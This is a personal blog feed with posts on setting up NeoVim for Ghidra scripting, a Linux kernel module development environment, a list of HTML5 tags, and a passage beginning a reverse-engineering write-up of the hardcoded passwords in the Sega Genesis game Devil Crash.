The blog of Henrique2024-02-11T20:45:04+00:00https://www.gilgalab.comHenriquetypoon@gmail.comSetting up NeoVim for Ghidra Script Development2020-04-26T00:00:00+00:00https://www.gilgalab.com/blog/2020/04/26/GhidraScriptDevelopmentWithVim<p>I started messing around with Ghidra for some research I am currently doing
which I will talk about in a future post. I needed to develop a script for
Ghidra but the editor in it is too basic (a simple text box). I am really used
to developing using <code class="language-plaintext highlighter-rouge">vim</code> (I switched to <code class="language-plaintext highlighter-rouge">neovim</code> a couple weeks ago) and
decided I’d prefer to use it instead of developing inside of Ghidra.</p>
<p>My requirements for this were:</p>
<ul>
<li>Code completion</li>
<li>A linter in real time (to identify errors and warnings)</li>
</ul>
<p>I had just setup <a href="https://github.com/neoclide/coc.nvim">CoC - Conquer of Completion</a>
and figured I’d use its <code class="language-plaintext highlighter-rouge">coc-java</code> plugin to do this.</p>
<p>Without further ado, here is how I got it working.</p>
<h2 id="installing-vim-plug">Installing vim-plug</h2>
<p>Easiest way I found so far to install plugins on <a href="https://neovim.io/">neovim</a>
is using <a href="https://github.com/junegunn/vim-plug">vim-plug</a>.</p>
<p>Just download
<a href="https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim">plug.vim</a>
and place it in <code class="language-plaintext highlighter-rouge">$HOME/.local/share/nvim/site/autoload/plug.vim</code>.</p>
<p>Edit your <code class="language-plaintext highlighter-rouge">$HOME/.config/nvim/init.vim</code> file and add to the start of it:</p>
<div class="language-vim highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="nb">has</span><span class="p">(</span><span class="s1">'nvim'</span><span class="p">)</span>
<span class="k">call</span> plug#begin<span class="p">(</span><span class="s1">'~/.config/nvim/site/autoload/plug.vim'</span><span class="p">)</span>
<span class="c">" Plugins will be added here</span>
<span class="k">call</span> plug#end<span class="p">()</span>
<span class="k">endif</span>
</code></pre></div></div>
<p>You should create the <code class="language-plaintext highlighter-rouge">$HOME/.config/nvim/site/autoload/plug.vim</code> directory if
it doesn’t already exist.</p>
<p>Open <code class="language-plaintext highlighter-rouge">neovim</code> and try the <code class="language-plaintext highlighter-rouge">:PlugStatus</code> command. It should open a window with
the status of the plugins that are installed.</p>
<h2 id="installing-coc">Installing CoC</h2>
<p>Installing <code class="language-plaintext highlighter-rouge">CoC</code> now is pretty simple. Just a matter of adding it to the list
of desired plugins in your <code class="language-plaintext highlighter-rouge">init.vim</code> file.</p>
<div class="language-vim highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="nb">has</span><span class="p">(</span><span class="s1">'nvim'</span><span class="p">)</span>
<span class="k">call</span> plug#begin<span class="p">(</span><span class="s1">'~/.config/nvim/site/autoload/plug.vim'</span><span class="p">)</span>
<span class="c">" CoC for code completion with language servers</span>
Plug <span class="s1">'neoclide/coc.nvim'</span><span class="p">,</span> <span class="p">{</span><span class="s1">'branch'</span><span class="p">:</span> <span class="s1">'release'</span><span class="p">}</span>
<span class="k">call</span> plug#end<span class="p">()</span>
<span class="k">endif</span>
</code></pre></div></div>
<p>Just reload the <code class="language-plaintext highlighter-rouge">init.vim</code> file now (either by re-opening <code class="language-plaintext highlighter-rouge">neovim</code> or by
running <code class="language-plaintext highlighter-rouge">:source /path/to/your/init.vim</code>). After that just use the command
<code class="language-plaintext highlighter-rouge">:PlugInstall</code> to get <code class="language-plaintext highlighter-rouge">CoC</code> installed.</p>
<p>In order for <code class="language-plaintext highlighter-rouge">CoC</code> to work, you will need to jave both <code class="language-plaintext highlighter-rouge">nodejs</code> and <code class="language-plaintext highlighter-rouge">yarn</code>
installed on your machine. On Ubuntu just use the following apt command to
install those:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt <span class="nb">install </span>nodejs yarnpkg
</code></pre></div></div>
<h2 id="installing-coc-java">Installing coc-java</h2>
<p><code class="language-plaintext highlighter-rouge">CoC</code> has many plugins for different languages. I am developing my <code class="language-plaintext highlighter-rouge">Ghidra</code>
scripts using <code class="language-plaintext highlighter-rouge">Java</code> so for that I need to install the
<a href="https://github.com/neoclide/coc-java">coc-java</a> plugin.</p>
<p>After you have <code class="language-plaintext highlighter-rouge">CoC</code> installed, just run the following command on <code class="language-plaintext highlighter-rouge">neovim</code> to
install <code class="language-plaintext highlighter-rouge">coc-java</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>:CocInstall coc-java
</code></pre></div></div>
<p>That is it! This should be enough to get <code class="language-plaintext highlighter-rouge">coc-java</code> installed.</p>
<h2 id="installing-gradle">Installing gradle</h2>
<p>The <code class="language-plaintext highlighter-rouge">coc-java</code> plugin uses either a <code class="language-plaintext highlighter-rouge">maven</code> or a <code class="language-plaintext highlighter-rouge">gradle</code> configuration file
in order to know how to build the java file being edited. The <code class="language-plaintext highlighter-rouge">classpath</code>
configuration is what is necessary to find the dependencies for the source
being edited so that it can be built and so that code completion and the
linter work. I found it easier to use <code class="language-plaintext highlighter-rouge">gradle</code> for this as there was already a
gradle file in the <code class="language-plaintext highlighter-rouge">Ghidra</code> directory that I was able to use as a base.</p>
<p>For <code class="language-plaintext highlighter-rouge">gradle</code> I just downloaded the binary from
<a href="https://gradle.org/releases/">here</a>. I downloaded the <code class="language-plaintext highlighter-rouge">binary-only</code> version
of it. At the time of this writing, the latest version was <code class="language-plaintext highlighter-rouge">v6.3</code>.</p>
<p>After downloading it, just unzip the file and place it somewhere you like on
your machine. In my case I put it on <code class="language-plaintext highlighter-rouge">$HOME/software/gradle-6.3</code>. All you have
to do then is add the <code class="language-plaintext highlighter-rouge">$HOME/software/gradle-6.3/bin</code> directory to your
<code class="language-plaintext highlighter-rouge">$PATH</code> variable.</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:<span class="nv">$HOME</span>/software/gradle-6.3/bin
</code></pre></div></div>
<h2 id="preparing-the-development-directory">Preparing the development directory</h2>
<p>I have <code class="language-plaintext highlighter-rouge">Ghidra</code> installed in the folder <code class="language-plaintext highlighter-rouge">$HOME/software/ghidra_9.1.2</code>.</p>
<p>By default <code class="language-plaintext highlighter-rouge">Ghidra</code> will look for its scripts in various directories. The
first one it looks at is <code class="language-plaintext highlighter-rouge">$HOME/ghidra_scripts</code>. This is where I am doing all
my script development.</p>
<p>In that directory, create a <code class="language-plaintext highlighter-rouge">build.gradle</code> file with the following contents:</p>
<div class="language-gradle highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">apply</span> <span class="nl">plugin:</span> <span class="s1">'java'</span>
<span class="kt">def</span> <span class="n">ghidraDir</span> <span class="o">=</span> <span class="s2">"/path/to/your/ghidra_9.1.2/Ghidra"</span>
<span class="kt">def</span> <span class="n">ghidraProps</span> <span class="o">=</span> <span class="k">new</span> <span class="n">Properties</span><span class="o">()</span>
<span class="n">configurations</span> <span class="o">{</span>
<span class="n">helpPath</span>
<span class="o">}</span>
<span class="k">sourceSets</span> <span class="o">{</span>
<span class="n">main</span><span class="o">.</span><span class="na">java</span><span class="o">.</span><span class="na">srcDirs</span> <span class="o">=</span> <span class="o">[</span><span class="s1">'./'</span><span class="o">]</span>
<span class="n">main</span><span class="o">.</span><span class="na">resources</span><span class="o">.</span><span class="na">srcDirs</span> <span class="o">=</span> <span class="o">[</span><span class="s1">'./'</span><span class="o">]</span>
<span class="o">}</span>
<span class="n">file</span><span class="o">(</span><span class="n">ghidraDir</span> <span class="o">+</span> <span class="s2">"/application.properties"</span><span class="o">).</span><span class="na">withReader</span> <span class="o">{</span> <span class="n">reader</span> <span class="o">-></span>
<span class="n">ghidraProps</span><span class="o">.</span><span class="na">load</span><span class="o">(</span><span class="n">reader</span><span class="o">)</span>
<span class="n">project</span><span class="o">.</span><span class="na">ext</span><span class="o">.</span><span class="na">ghidra_version</span> <span class="o">=</span> <span class="n">ghidraProps</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span><span class="s1">'application.version'</span><span class="o">)</span>
<span class="n">project</span><span class="o">.</span><span class="na">ext</span><span class="o">.</span><span class="na">RELEASE_NAME</span> <span class="o">=</span> <span class="n">ghidraProps</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span><span class="s1">'application.release.name'</span><span class="o">)</span>
<span class="n">project</span><span class="o">.</span><span class="na">ext</span><span class="o">.</span><span class="na">DISTRO_PREFIX</span> <span class="o">=</span> <span class="s2">"ghidra_${ghidra_version}"</span>
<span class="o">}</span>
<span class="k">dependencies</span> <span class="o">{</span>
<span class="n">compile</span> <span class="nf">fileTree</span><span class="o">(</span><span class="nl">dir:</span> <span class="s1">'lib'</span><span class="o">,</span> <span class="nl">include:</span> <span class="s2">"*.jar"</span><span class="o">)</span>
<span class="n">compile</span> <span class="nf">fileTree</span><span class="o">(</span><span class="nl">dir:</span> <span class="n">ghidraDir</span> <span class="o">+</span> <span class="s1">'/Framework'</span><span class="o">,</span> <span class="nl">include:</span> <span class="s2">"**/*.jar"</span><span class="o">)</span>
<span class="n">compile</span> <span class="nf">fileTree</span><span class="o">(</span><span class="nl">dir:</span> <span class="n">ghidraDir</span> <span class="o">+</span> <span class="s1">'/Features'</span><span class="o">,</span> <span class="nl">include:</span> <span class="s2">"**/*.jar"</span><span class="o">)</span>
<span class="n">helpPath</span> <span class="nf">fileTree</span><span class="o">(</span><span class="nl">dir:</span> <span class="n">ghidraDir</span> <span class="o">+</span> <span class="s1">'/Features/Base'</span><span class="o">,</span> <span class="nl">include:</span> <span class="s2">"**/Base.jar"</span><span class="o">)</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Don’t forget to change the <code class="language-plaintext highlighter-rouge">ghidraDir</code> definition in the <code class="language-plaintext highlighter-rouge">build.gradle</code> file
with the appropriate path where you have <code class="language-plaintext highlighter-rouge">Ghidra</code> installed.</p>
<p>In the same directory, create a <code class="language-plaintext highlighter-rouge">.classpath</code> file with the following contents:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="nt"><classpath></span>
<span class="nt"><classpathentry</span> <span class="na">kind=</span><span class="s">"src"</span> <span class="na">output=</span><span class="s">"bin/main"</span> <span class="na">path=</span><span class="s">""</span><span class="nt">></span>
<span class="nt"><attributes></span>
<span class="nt"><attribute</span> <span class="na">name=</span><span class="s">"gradle_scope"</span> <span class="na">value=</span><span class="s">"main"</span><span class="nt">/></span>
<span class="nt"><attribute</span> <span class="na">name=</span><span class="s">"gradle_used_by_scope"</span> <span class="na">value=</span><span class="s">"main,test"</span><span class="nt">/></span>
<span class="nt"></attributes></span>
<span class="nt"></classpathentry></span>
<span class="nt"><classpathentry</span> <span class="na">kind=</span><span class="s">"con"</span> <span class="na">path=</span><span class="s">"org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-11/"</span><span class="nt">/></span>
<span class="nt"><classpathentry</span> <span class="na">kind=</span><span class="s">"con"</span> <span class="na">path=</span><span class="s">"org.eclipse.buildship.core.gradleclasspathcontainer"</span><span class="nt">/></span>
<span class="nt"><classpathentry</span> <span class="na">kind=</span><span class="s">"output"</span> <span class="na">path=</span><span class="s">"bin/default"</span><span class="nt">/></span>
<span class="nt"></classpath></span>
</code></pre></div></div>
<p>And now, in this same directory create a <code class="language-plaintext highlighter-rouge">Test.java</code> file with the following
contents:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//@category Gilgalab</span>
<span class="kn">import</span> <span class="nn">ghidra.app.script.GhidraScript</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">ghidra.util.Msg</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">Test</span> <span class="kd">extends</span> <span class="nc">GhidraScript</span> <span class="o">{</span>
<span class="nd">@Override</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">run</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="kt">int</span> <span class="n">int1</span> <span class="o">=</span> <span class="n">askInt</span><span class="o">(</span><span class="s">"integer 1"</span><span class="o">,</span> <span class="s">"enter integer 1"</span><span class="o">);</span>
<span class="kt">int</span> <span class="n">int2</span> <span class="o">=</span> <span class="n">askInt</span><span class="o">(</span><span class="s">"integer 2"</span><span class="o">,</span> <span class="s">"enter integer 2"</span><span class="o">);</span>
<span class="n">println</span><span class="o">(</span><span class="s">"int1 + int2 = "</span> <span class="o">+</span> <span class="o">(</span><span class="n">int1</span> <span class="o">+</span> <span class="n">int2</span><span class="o">));</span>
<span class="o">}</span>
<span class="k">catch</span> <span class="o">(</span><span class="nc">IllegalArgumentException</span> <span class="n">iae</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">Msg</span><span class="o">.</span><span class="na">warn</span><span class="o">(</span><span class="k">this</span><span class="o">,</span> <span class="s">"Error during headless processing: "</span> <span class="o">+</span> <span class="n">iae</span><span class="o">.</span><span class="na">toString</span><span class="o">());</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>This is how it looks like as you type your code:</p>
<asciinema-player src="/assets/images/202004/ghidra-script-neovim.cast"></asciinema-player>
<p>Now open <code class="language-plaintext highlighter-rouge">Ghidra</code> and open the <code class="language-plaintext highlighter-rouge">Script Manager</code> (menu <em>Window -> Script
Manager</em>). In the new window displayed, click the <code class="language-plaintext highlighter-rouge">Reload</code> button and notice
that a folder called <code class="language-plaintext highlighter-rouge">Gilgalab</code> appeared in it.</p>
<p class="image">
<img src="/assets/images/202004/ghidra-script-manager.png" alt="Ghidra Script Manager" data-action="zoom" />
<em>Ghidra Script Manager</em>
</p>
<p>Inside that folder you can see the <code class="language-plaintext highlighter-rouge">Test.java</code> script. Click the <code class="language-plaintext highlighter-rouge">Run</code> button
and it should ask you for two numbers and should show you the result of the
sum of those numbers in the <code class="language-plaintext highlighter-rouge">Console</code> windows (menu <em>Window -> Console</em>).</p>
<p class="image">
<img src="/assets/images/202004/ghidra-script-manager-running.png" alt="Running the test script" data-action="zoom" />
<em>Running the test script</em>
</p>
<p>After entering the value <code class="language-plaintext highlighter-rouge">10</code> for the first input and <code class="language-plaintext highlighter-rouge">20</code> for the second, the
result can be seen in the <code class="language-plaintext highlighter-rouge">Console</code> window (menu <em>Window -> Console</em>).</p>
<p class="image">
<img src="/assets/images/202004/ghidra-console.png" alt="Console windows showing the result of the script execution" data-action="zoom" />
<em>Console windows showing the result of the script execution</em>
</p>
Linux Kernel Module Development - Part 12018-09-29T00:00:00+00:00https://www.gilgalab.com/blog/2018/09/29/LKMDevPart1<h1 id="introduction">Introduction</h1>
<p>I plan on playing around with the Linux Kernel a little bit. Most of the work
will probably be related to writing Linux Kernel Modules (LKMs). As I find it
easier to learn by doing things, I will structure these experiments in the
following way:</p>
<ul>
<li>Set a goal</li>
<li>Figure out what is needed</li>
<li>Write the code</li>
<li>Document what is learned while figuring things out and coding</li>
<li>Document functions/macros used</li>
<li>Finish up</li>
</ul>
<p>All the experiments will be developed targeting the <code class="language-plaintext highlighter-rouge">x86_64</code> platform unless
otherwise noted, and the target system will be running Xubuntu. The kernel
version used on each experiment will be mentioned at the introduction of each
post.</p>
<p>This post will detail how to setup the environment to compile and run the code
that is produced. If you already have an environment setup where you can
compile a kernel module, then feel free to skip this post completely. The other
posts in the series will not contain these steps and will follow the steps
mentioned above.</p>
<p>I am writing these things mostly for my future reference, but I figured I could
share it to help anyone that is interested to learn as well. If that is your
case, know that the following things are assumed about you:</p>
<ul>
<li>You know your way around a shell</li>
<li>You know how to code in C (at least enough to write simple things)</li>
<li>You know enough to get a VM with Linux up and running</li>
<li>You know how to SSH into a Linux box</li>
</ul>
<h1 id="setting-up-the-environment">Setting up the environment</h1>
<p>The following sections describe how I have setup my environment. In order to
make life easier, I got a VM running where I will perform all development and
testing of the code.</p>
<p>To make it easier and faster for me to connect to the VM, it will have an SSH
server running that will be configured to accept connections from my box using
a key pair without password (so I don’t have to be typing a password all the
time).</p>
<h2 id="install-a-linux-distribution">Install a Linux Distribution</h2>
<p>For now, I will start with Xubuntu 18.04. For each post I will mention the
version of Xubuntu and the Kernel version I am using for each LKM.</p>
<p>I just setup a typical Xubuntu VM here by performing the default installation. I
am using Qemu for this, but it should work fine using VMWare of VirtualBox.</p>
<h2 id="setup-environment">Setup environment</h2>
<p>With the VM installed, initialize it and take note of its IP address. Still in
the VM, install the <code class="language-plaintext highlighter-rouge">openssh-server</code> package as well as the other packages that
will be needed to compile the kernel modules:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo apt-get install openssh-server
$ sudo apt-get install make gcc libelf-dev
</code></pre></div></div>
<p>In the host machine perform the following steps to configure it to connect to
the guest via SSH using a key pair.</p>
<p>Generate the key (do not setup a password for the key as the goal here is to
make it easy to connect to this VM).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ mkdir ~/.ssh/
$ ssh-keygen -t rsa -b 4096 -f ~/.ssh/kdev
</code></pre></div></div>
<p>Edit the <code class="language-plaintext highlighter-rouge">~/.ssh/config</code> file and add the following entry to it (replace the
value for the <code class="language-plaintext highlighter-rouge">Hostname</code> and <code class="language-plaintext highlighter-rouge">User</code> directives with the IP address of your VM
and the user that you created when you installed the operating system):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Host kdev
Hostname 192.168.146.130
Port 22
User your_username
IdentityFile ~/.ssh/kdev
</code></pre></div></div>
<p>From the host machine, transfer the <code class="language-plaintext highlighter-rouge">~/.ssh/kdev.pub</code> file to the VM:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ scp ~/.ssh/kdev.pub kdev:/tmp/
</code></pre></div></div>
<p>SSH into the guest VM with your user and do the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cd ~
$ mkdir .ssh
$ cat /tmp/kdev.pub >> ~/.ssh/authorized_keys
$ chmod 644 ~/.ssh
$ chmod 600 ~/.ssh/authorized_keys
$ rm /tmp/kdev.pub
</code></pre></div></div>
<p>Now disconnect from the VM, and back in the host do:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ssh kdev
</code></pre></div></div>
<p>You should be logged into the VM as the user <code class="language-plaintext highlighter-rouge">your_username</code> without any
password being requested.</p>
<h2 id="install-the-kernel-source-optional">Install the kernel source (optional)</h2>
<p>If you want to have a local copy of the kernel source in order to consult it,
or for the case you want to recompile the kernel yourself, then follow the
steps below. This is not needed to compile the kernel modules, as the headers
are already installed, but it is a good idea to be able to easily navigate the
source.</p>
<p>In order to get the kernel source for the current kernel, start by updating all
the packages:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo apt-get update
$ sudo apt-get upgrade
</code></pre></div></div>
<p>As root, edit the <code class="language-plaintext highlighter-rouge">/etc/apt/sources.list</code> file and uncomment the <code class="language-plaintext highlighter-rouge">deb-src</code>
repositories and then run the following commands as a regular user:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ mkdir ~/code
$ cd ~/code
$ sudo apt-get update
$ sudo apt-get install dpkg-dev
$ apt-get source linux
$ sudo apt-get build-dep linux-image-$(uname -r)
</code></pre></div></div>
<p>You should have the source code for the kernel now under <code class="language-plaintext highlighter-rouge">$HOME/code/</code>.</p>
<h1 id="test-the-environment">Test the environment</h1>
<p>Create a simple module just to make sure that everything can be
compiled and is working as expected.</p>
<p>Use the following example code to make sure everything is setup properly.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf"><linux/init.h></span><span class="cp">
#include</span> <span class="cpf"><linux/module.h></span><span class="cp">
</span>
<span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">"Dual BSD/GPL"</span><span class="p">);</span>
<span class="k">static</span> <span class="kt">int</span> <span class="nf">hello_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="n">KERN_ALERT</span> <span class="s">"Hello world from the kernel!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">hello_exit</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="n">KERN_ALERT</span> <span class="s">"Goodbye!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">module_init</span><span class="p">(</span><span class="n">hello_init</span><span class="p">);</span>
<span class="n">module_exit</span><span class="p">(</span><span class="n">hello_exit</span><span class="p">);</span>
</code></pre></div></div>
<p>Save the above code in a file called <code class="language-plaintext highlighter-rouge">hello.c</code>.</p>
<p>Now create a file called <code class="language-plaintext highlighter-rouge">Makefile</code> in the same directory where you saved the
<code class="language-plaintext highlighter-rouge">hello.c</code> file and add the following to it:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>obj-m := hello.o
</code></pre></div></div>
<p>Now use the following command to compile the module:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ make -C /lib/modules/$(uname -r)/build M=`pwd` modules
</code></pre></div></div>
<p>If everything went okay, you should have a file <code class="language-plaintext highlighter-rouge">hello.ko</code> in the current
directory now.</p>
<p>To test that the module can be loaded and unloaded properly, use:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo insmod hello.ko
$ sudo rmmod hello
$ dmesg |tail
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">dmesg</code> command above should show something like the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ 184.658626] hello: loading out-of-tree module taints kernel.
[ 184.658661] hello: module verification failed: signature and/or required key missing - tainting kernel
[ 184.659164] Hello world from the kernel!
[ 195.104651] Goodbye!
</code></pre></div></div>
<p>At this point you should be good to get started developing LKMs!</p>
<h1 id="finishing-up">Finishing up</h1>
<p>This is just an introduction to get the environment ready. As mentioned before,
the next posts will focus only on a specific goal and will dive directly into
the code.</p>
<p>Thanks for reading!</p>
List of HTML 5 tags2017-08-16T00:00:00+00:00https://www.gilgalab.com/blog/2017/08/16/List-of-HTML5-tags<h1 id="introduction">Introduction</h1>
<p>Every once in a while I find myself in a position where I need the list of
HTML5 tags to do some kind of testing. I haven’t really found one online that
was easy to just copy and paste somewhere, so here it is! I think these are all
the HTML 5 tags, but if they are not and you want to let me know about that,
use the contact menu for that :)</p>
<p><a href="/assets/files/2017-08/tags-with-brackets.txt" target="_blank">Download list with
brackets</a></p>
<p><a href="/assets/files/2017-08/tags-without-brackets.txt" target="_blank">Download list without
brackets</a></p>
<p>Or just copy it from below:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!DOCTYPE
a
abbr
acronym
address
applet
area
article
aside
audio
b
base
basefont
bdi
bdo
bgsound
big
blink
blockquote
body
br
button
canvas
caption
center
cite
code
col
colgroup
command
content
data
datalist
dd
del
details
dfn
dialog
dir
div
dl
dt
element
em
embed
fieldset
figcaption
figure
font
footer
form
frame
frameset
h1
h2
h3
h4
h5
h6
head
header
hgroup
hr
html
i
iframe
image
img
input
ins
isindex
kbd
keygen
label
legend
li
link
listing
main
map
mark
marquee
menu
menuitem
meta
meter
multicol
nav
nobr
noembed
noframes
noscript
object
ol
optgroup
option
output
p
param
picture
plaintext
pre
progress
q
rp
rt
rtc
ruby
s
samp
script
section
select
shadow
slot
small
source
spacer
span
strike
strong
style
sub
summary
sup
table
tbody
td
template
textarea
tfoot
th
thead
time
title
tr
track
tt
u
ul
var
video
wbr
xmp
</code></pre></div></div>
'Keygening' Sega Genesis's Devil Crash2017-01-10T00:00:00+00:00https://www.gilgalab.com/blog/2017/01/10/Reverse-engineering-Devil-Crash-Password-Logic<h1 id="introduction">Introduction</h1>
<p>This post describes the process of how I figured out the password logic used in
the Sega Genesis game <strong>Devil Crash</strong>.</p>
<blockquote>
<p>Devil’s Crush (known as Devil Crash in Japan) is a pinball video game
developed by NAXAT Soft for the TurboGrafx-16 and released in 1990. The second
installment in the Crush Pinball series after Alien Crush, the game has an
eerie occult theme with skulls, skeletons, and demons. It was later followed
by Jaki Crush and Alien Crush Returns.
The game was ported to the Sega Mega Drive, retitled Dragon’s Fury (Devil Crash
MD in Japan) which was developed by Technosoft.</p>
<p><cite><a href="https://en.wikipedia.org/wiki/Devil%27s_Crush">Wikipedia - Devil’s Crush</a></cite></p>
</blockquote>
<p class="image">
<img src="/images/201701/devilcrash-main-screen.png" alt="Devil Crash - Main screen" data-action="zoom" />
<em>Devil Crash - Main screen</em>
</p>
<p>As you can see this is a 20+ year old game. Back then it was pretty common for
games to have a password in order to save the state of the game and allow
players to restart from a certain point (memory cards were not a thing yet, and not
all games had an internal battery to save game state in memory).</p>
<p>Devil Crash was no exception. During gameplay, the player could simply pause the
game, press the A button and be presented with a password. This password, when
used, would get the player to restart the game with the same score and number
of balls that they had when it was generated. This password is composed of 10
characters in the range <code class="language-plaintext highlighter-rouge">A-Z0-9</code>.</p>
<p>As a kid, I would sometimes try to guess some passwords. Never had much luck
with that besides two passwords I was able to figure out. One was <code class="language-plaintext highlighter-rouge">0000000000</code>
(you start the game with 0 points and 0 balls), and the other <code class="language-plaintext highlighter-rouge">DEVILCRASH</code> (you
start the game with 390000 points and 7 balls). As you can see, those are not
too original and pretty obvious.</p>
<p>Everything described in this post has been done by using a ROM from the game.</p>
<h1 id="lets-hack">Let’s hack!</h1>
<p>The first step was to run <code class="language-plaintext highlighter-rouge">strings</code> against the ROM, and check what I could find.
Some interesting stuff show up:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><... snippet ... >
0Nup
OMAKEBGM00
OMAKEBGM01
OMAKEBGM02
OMAKEBGM03
OMAKEBGM04
BGMOFFMODE
TIMETRIAL0
TIMETRIAL1
TECHNOSOFT
DEVILCRASH
16BIT68000
PLAZMALINE
LUCKYLUCKY
0000000000
!&&SANDAA&&
TF2HZTF3EM
!0956335555p
<... snippet ... >
</code></pre></div></div>
<p>There are many strings there with 10 characters and two of them are the
previously known <code class="language-plaintext highlighter-rouge">0000000000</code> and <code class="language-plaintext highlighter-rouge">DEVILCRASH</code> passwords. Seems like those
passwords are hard coded in the game. In order to figure out if that is really
the case, I decide to try the other strings of length 10 and noticed that they
work. Here are the results of using some of them:</p>
<table>
<thead>
<tr>
<th>Password</th>
<th>Score</th>
<th>Balls</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000000000</td>
<td>0000000</td>
<td>0</td>
</tr>
<tr>
<td>DEVILCRASH</td>
<td>0390000</td>
<td>7</td>
</tr>
<tr>
<td>16BIT68000</td>
<td>0068000</td>
<td>16</td>
</tr>
<tr>
<td>LUCKYLUCKY</td>
<td>0077700</td>
<td>7</td>
</tr>
<tr>
<td>TECHNOSOFT</td>
<td>2000000</td>
<td>10</td>
</tr>
<tr>
<td>TF2HZTF3EM</td>
<td>0464900</td>
<td>10</td>
</tr>
<tr>
<td>&&SANDAA&&</td>
<td>3333333</td>
<td>33</td>
</tr>
</tbody>
</table>
<p>The <code class="language-plaintext highlighter-rouge">TIMETRIAL0</code> and <code class="language-plaintext highlighter-rouge">TIMETRIAL1</code> passwords, and the ones above them are
used to either start a time trial mode or to change the music that is played
during the game. The <code class="language-plaintext highlighter-rouge">&&SANDAA&&</code> one is interesting; turns out that the game
initializes the password field to the value <code class="language-plaintext highlighter-rouge">&&&&&&&&&&</code> and this value is
rendered as a blank space in the screen. In order to enter this password then,
the player should just leave the first two and last two positions of the string
empty.</p>
<p class="image">
<img src="/images/201701/devilcrash-password-screen-sandaa.png" alt="Password screen" data-action="zoom" />
<em>Password screen</em>
</p>
<p>It seems pretty obvious at this point that the game has a table of hardcoded
passwords that it consults before trying to apply any kind of validation logic
to the entered password.</p>
<p>I was interested in figuring out how the game knows the number of balls and the
score associated with these passwords. Since the passwords are hardcoded, I
assumed that these values would also be hardcoded in the ROM somewhere. I
proceeded to open the ROM with a binary editor and this is what I found:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00006ea0: 70 1d 61 00 29 4c 61 00 29 84 60 00 fc a0 00 00 p.a.)La.).`.....
00006eb0: 00 00 00 00 4f 4d 41 4b 45 42 47 4d 30 30 00 00 ....OMAKEBGM00..
00006ec0: 00 00 00 00 4f 4d 41 4b 45 42 47 4d 30 31 00 00 ....OMAKEBGM01..
00006ed0: 00 00 00 00 4f 4d 41 4b 45 42 47 4d 30 32 00 00 ....OMAKEBGM02..
00006ee0: 00 00 00 00 4f 4d 41 4b 45 42 47 4d 30 33 00 00 ....OMAKEBGM03..
00006ef0: 00 00 00 00 4f 4d 41 4b 45 42 47 4d 30 34 00 00 ....OMAKEBGM04..
00006f00: 00 00 00 00 42 47 4d 4f 46 46 4d 4f 44 45 00 00 ....BGMOFFMODE..
00006f10: 00 00 00 00 54 49 4d 45 54 52 49 41 4c 30 00 00 ....TIMETRIAL0..
00006f20: 00 00 00 00 54 49 4d 45 54 52 49 41 4c 31 00 00 ....TIMETRIAL1..
00006f30: 4e 20 00 0a 54 45 43 48 4e 4f 53 4f 46 54 00 00 N ..TECHNOSOFT..
